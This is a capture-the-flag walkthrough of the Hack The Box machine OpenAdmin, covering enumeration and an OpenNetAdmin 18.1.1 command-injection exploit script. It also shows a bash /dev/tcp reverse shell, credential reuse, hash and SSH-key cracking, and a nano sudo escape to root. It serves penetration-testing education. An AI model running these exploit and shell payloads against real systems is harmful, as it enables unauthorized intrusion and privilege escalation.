OpenAdmin is rated as an easy Linux box. It was released on 01/04/2019 and has been created by dmw0ng, a HTB community member.

To solve this box, the following steps need to be achieved:

  • Enumerate the web server to find a CMS vulnerable to a publicly available exploit
  • Perform lateral movement through credentials reuse
  • Forward a local port to access an internal web server
  • Perform another lateral movement through a cracked SSH private key passphrase
  • Abuse sudo permissions on nano for privilege escalation

Initial reconnaissance

Let’s do first a full nmap port scan using the following command:

NMAP explain shell

You can find the explanation about those nmap options on the website.

Basically, this scan is doing a TCP scan on all 65535 ports while trying to fingerprint the services behind the open ports. This scan is pretty aggressive as we specified the T4 option.

Hereafter are the scan results:

Initial NMAP scan

The important part of the results are:

From both banners we can infer that this is a Ubuntu Bionic (18.04) linux box.

Nothing really interesting from the SSH service, so let’s focus on the 80/tcp port.

Web server

Fuzzing the endpoints

My go-to tool when fuzzing web applications is the awesome ffuf project. It allows an attacker to fuzz URL endpoints and parameters through GET and POST requests and many other things. It’s basically a combination of wfuzz and gobuster. The only downside I found is the lack of recursive directory bruteforcing.

ffuf's syntax is pretty straightforward in this case. We simply supply the -u parameter for the URL we want to fuzz, then append the FUZZ keyword in the URL to specify where the bruteforce must be performed and finally we supply the wordlist with the -w option. There are a lot of other amazing and useful options: e.g -f[l|w|c|s that allow us to filter on the number of lines|words|characters or HTTP response size. I highly recommend to check out this tool and its manual. Furthermore as it’s written in Golang, the tool is insanely fast.

When fuzzing URL endpoints in HTB or other CTFs, I am using two main wordlists:

So let’s first use ffuf with the above common wordlist:

In our scan, the tool found two interesting endpoints:

  • artwork
  • music

Browsing /artwork

Upon visiting the endpoint, we are getting redirected to (note the additionnal forwardslash at the end of the URL):

Several pages are available from the top right menu:

  • Home (index.html) -> which is our current landing page.
  • About (about.html)
  • Services (services.html)
  • Blog (blog.html)
  • Contact (contact.html)

From those pages, only the Contact page looks interesting because it presents a form that can be submitted.

However, while intercepting the submission request through Burp Suite, nothing is actually getting sent as seen below:

We can note the lack of data in the POST request above, so let’s move on.

Browsing /music

The /music endpoint redirects to the URL which contains the following:

The page title is also interesting:

The only interesting feature is the Login action that is redirecting us to the URL.

This URL is hosting the OpenNetAdmin application, as confirmed by the page title:

“OpenNetAdmin is an IPAM (IP Address Management) tool to track your network attributes such as DNS names, IP addresses, Subnets, MAC addresses just to name a few.[…]"

Source: OpenNetAdmin GitHub repository,

ONA (OpenNetAdmin) exploitation

As shown by the title tag and the content of the page itself, the OpenNetAdmin version used is 18.1.1. A quick Google search shows as the second result a public RCE (Remote Code Execution) on this exact version:

The exploit is a simple command injection through a ping functionnality within the application. I added some comments on the exploit to better explain it:


# Target URL

# Start an infinite loop
while true; do 
    # Print a "fake prompt" expecting a user input (the command we wish to execute)
    echo -n "$ "; read cmd
    # Injecting our command after the "IP=>" expected argument and between the BEGIN and END portion so we can grep on the output more easily to filter the response.
    # There we clearly see that our command is being sent between the BEGIN and END 
    curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

If we download and run it (while doing a bit of cleaning on the file itself) we indeed obtain command execution:

Let’s now grab a proper reverse shell through this vulnerability.

Reverse shell as www-data

As the RCE is obtained through the sending of a payload in a POST request, we might have issues with encoding quotes and double quotes. Therefore I choose to obtain a reverse shell through the following:

  1. Hosting a file containing a simple bash reverse shell
  2. Fetching it through the RCE in a temporary folder
  3. Execute it through the RCE while listenning on our host machine

The created local file is the following:

bash -c "bash -i /dev/tcp/ 0>&1"

Details of this reverse shell can be found on

Then I hosted this file on a temporary web server using python module SimpleHTTPServer (or python3 -m http.server), fetched it and saved it in a temporary folder on the target box and finally run it while setting up a listener through ncat on my attacking box:

Grabbing credentials in the ONA database configuration file

Now that we have a reverse shell, we can start poking around for useful information.

Default folders such as /var/www/ are often a good place to start searching for useful information. If we browse it, we can see the following:

However our current permissions do not allow us to see the content of the /var/www/internal folder as it is owned by the user jimmy. However, we see that the ona folder is a symbolic link pointing to the /opt/ona/www folder, on which we have access.

Inside this folder, there are several config folders:

And finally, in the /opt/ona/www/local/config folder, there is an interesting configuration file containing credentials:

We obtained a set of credentials: ona_sys:n1nj4W4rri0R!.

Lateral movement as ‘jimmy’

Credentials reuse

If we now look at the /etc/passwd file, there are two interesting users that can login and have their home folder configured:

We can try the password recovered in the ONA database configuration file to see if it matches (credentials reuse ftw!) one of those user:

In the above screenshot, I first tried directly to run the su command from within my terminal context. However my simple bash reverse shell is not recognized as a PTY so I need to upgrade the shell to an interactive shell. To do so, I first searched if python was installed on the box using the whereis command and then ran a python snippet to pop an interactive shell using the python pty module.

Then, with this new shell I can now run the su binary and try to run the id command as the user jimmy. I also checked if the password was working for joanna but as you can see, it did not work.

Now, we have another set of working credentials: jimmy:n1nj4W4rri0R!!

Using SSH to connect

Let’s not forget that the port 22/tcp was opened and therefore try out our new credentials against it:

Perfect, we now have a proper shell and a proper set of credentials to continue our path towards root.

Lateral movement as joanna

Searching through /var/www/internal

In our first reconnaissance phase inside the box, we saw an interesting folder: /var/www/internal which was owned by jimmy. Now that we are logged as him, we can browse it and try to find useful information:

Searching through those three files reveals a password hashed with SHA-512 in the index.php file:

Further analysis of the php files reveals that if we follow the logic within the main.php file, we will be able to recover Joanna’s SSH private key while supplying some credentials where Jimmy is the username and where the cracked SHA512 hash will be the password:

Therefore we should try to crack Jimmy’s hash.

Cracking SHA512

Crackstation is a reliable website which stores a huge collection of already cracked hash.

We can submit our hash on their website and we get an instant match:

Therefore for this web application, Jimmy’s password is Revealed.

I also tried to crack the password through hashcat however, the Revealed password is only present in its lower-case format inside the rokyou.txt wordlist. Therefore we could have cracked it using a rule like the [d3adOne.rule]( but this would have taken a very long time to complete.

Local Port Forwarding

The web application files within /var/www/internal must be served elsewhere than on the 80/tcp port as it is serving the /var/www/html/ folder.

We can check the configuration of the different Apache virtual hosts inside the default /etc/apache2/sites-enabled/ folder to see where this application is served:

From the above output the configuration file outlines that this folder is served only internally at the following address:

We can also run netstat to see if there are any locally opened port that might serve this web application:

If we curl this address from within the box we indeed have a 200 HTTP response status code:

The above command supresses the raw output of curl and replaces it by the HTTP status code using the -w '%{http_code} option.

To ease the process of exploring this app, we can setup a Local Port Forwarding through our SSH connection to browse this app from our attacking machine.

SSH-fu (konami code)

To do so, and from our current SSH context we can use SSH control sequences (aka SSH konami codes) to setup this local port forwarding without starting another SSH session.

To enter our SSH control sequence, we first use ~C in our current SSH shell to pop into the SSH shell, and then we create a local port forwarding using the following syntax: -L 8000:

Doing so, we will be able to reach the locally opened port 52846 on our attacking box on port 8000:

Now I can visit the internal website on my attacking box by navigating to

Upon visiting this address with my browser, I get the following login page:

And then by entering our previously recovered credentials we can grab Joanna’s SSH Private Key:

We could also have done all of that from within our SSH session as Jimmy using only the curl command:

  1. First we send our POST data to the /index.php page
  2. Upon successful login, we obtain a cookie which allows us to reach the /main.php page
  3. We issue another curl command with the previous cookie to access the page

We can not do this using curl -L because this redirection option does not handle cookies. Therefore we need to do it manually, using two distinct curl commands.

Cracking the SSH passphrase

The recovered SSH private key is encrypted as indicated in the header:

Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

Therefore we need to crack it before making use of it. However my favorite cracking tool, hashcat, does not handle SSH private key format, so we will need to use another cracking tool: John-The-Ripper.

First, we will save the SSH encrypted key to a file, and then use the ssh2john script to convert the key to a usable John format and finally run John against it:

Logging in as Joanna

We are now in possession of the SSH passphrase: bloodninjas so we can try using this key to login as Joanna on the box:

Privilege escalation

Abusing sudo permission

Now that we have done another lateral movement, Let’s see if we can run some commands as sudo using sudo -l:

We are indeed able to run the sudo /bin/nano /opt/priv command.

Every time sudo -l outputs common binaries, I jump to GTFO-bins right away as most of the time a known privilege escalation already exists.

If we query information relative to nano on this website there is a section explaining how to exploit it when it’s whitelisted with sudo.

It’s pretty straightforward:

  1. We need to open a file: sudo /bin/nano /opt/priv
  2. Then use the sequence ^R^X within nano
  3. Finally enter reset; sh 1>&0 2>&0 and we should get a root shell

The sequence ^R^X corresponds to the following:

  • ^R allows us to read the input from a file, thus also accessing a useful submenu
  • ^X allows us to execute a command

Then the command reset is simply initializing a terminal:

# output of `man reset`
       tset, reset - terminal initialization

       tset [-IQVcqrsw] [-] [-e ch] [-i ch] [-k ch] [-m mapping] [terminal]
       reset [-IQVcqrsw] [-] [-e ch] [-i ch] [-k ch] [-m mapping] [terminal]

   tset - initialization
       This program initializes terminals. 

And afterwards we’re requesting a shell through sh 1>&0 2>&0. Both redirectors (1>&0 and 2>&0) mean that we are redirecting stdout and stderr respectively to stdin, thus grabbing an interacting sh session.

It worked flawlessly and we manage to grab a root shell:

Finally, we can use the /dev/shm/ file dropped using the first RCE through ONA to send back a proper reverse shell:

OpenAdmin is rooted!

/root dance

< /root dance! >
 \     ____________ 
  \    |__________|
      /           /\
     / OpenAdmin /  \
    |          |     |
    |  ==\ /== |     |
    |   O   O  | \ \ |
    |     <    |  \ \|
   /|          |   \ \
  / |  \_____/ |   / /
 / /|          |  / /|
/||\|          | /||\/
        | |    | | 
       <__/    \__>

And a big thanks to laluka, roisil and hilarex for proofreading this write up :)!